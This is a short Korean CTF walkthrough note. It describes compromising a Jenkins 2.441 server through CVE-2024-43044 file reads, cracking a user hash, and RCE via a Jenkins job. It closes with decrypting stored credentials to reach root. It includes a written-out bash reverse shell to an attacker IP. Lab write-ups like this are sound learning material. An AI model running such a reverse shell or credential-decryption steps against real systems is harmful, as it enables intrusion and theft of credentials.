공격 흐름(요약)

  • nmap

  • 8080 jenkins

  • user ID : jennifer

  • ssh bruteforcing

참고
https://asec.ahnlab.com/ko/82870/
  • jenkins cli jar file download

1. 22, 8080 port open
  ; 웹 문제 ?
2. v2.441 CVE 존재 -> ahnlab alticle 참조
3. 해당 jenkins 서버 내 파일을 읽을 수 있다 ?
  ; home/user/desktop/user.txt , home/user/user.txt 읽을 수 있다
CVE-2024-43044
args4j library는 @뒤에 경로가 오면, 그 파일의 내용을 읽어서 명령의 인자로 치환하는 expandAtFiles 기능이 활성화 되어 있음
help -> args4j -> 1개만
offline-node -> args4j -> n개

  • jennifer/config.xml 에서 삽질..

※ 참고 https://hashcat.net/wiki/doku.php?id=example_hashes

tip
jenkins에서 account_number의 이유는 설계 상 계정 꼬임 방지를 위함
users 내 jennifer_number~ 이런식으로 네이밍되어 계정관리가 됨
단, 외부 라이브러리 미연동 시
realm을 config에서 확인 ? -> 내장이구나 -> users/realUsers/~ 이런식으로 관리
따라서, users/users.config 확인으로 이어지는 흐름

  • jennifer account 획득

  • jennifer는 job을 실행할 수 있는 권한이 있었음 RCE

/bin/bash -c bash -i >& /dev/tcp/10.10.15.84/4444 0>&1

  • PK 획득

  • linpeas를 올려봤으나, 별다른 소득은 없었음

※ 참고 https://passwd.tistory.com/entry/Jenkins-%EC%95%94%ED%98%B8%ED%99%94%EB%90%9C-Credentials-%EB%B3%B5%ED%98%B8%ED%99%94?pidx=4

  • web-gui 상으로 pk의 복호화가 가능 하였음

  • 해당 코드는 뭔가 지금 한번 더 암호화 되어있는 형태

  • 따라서 암호화된 rsa key를 복호화 하여, root로 직접 로그인

  • 600 수정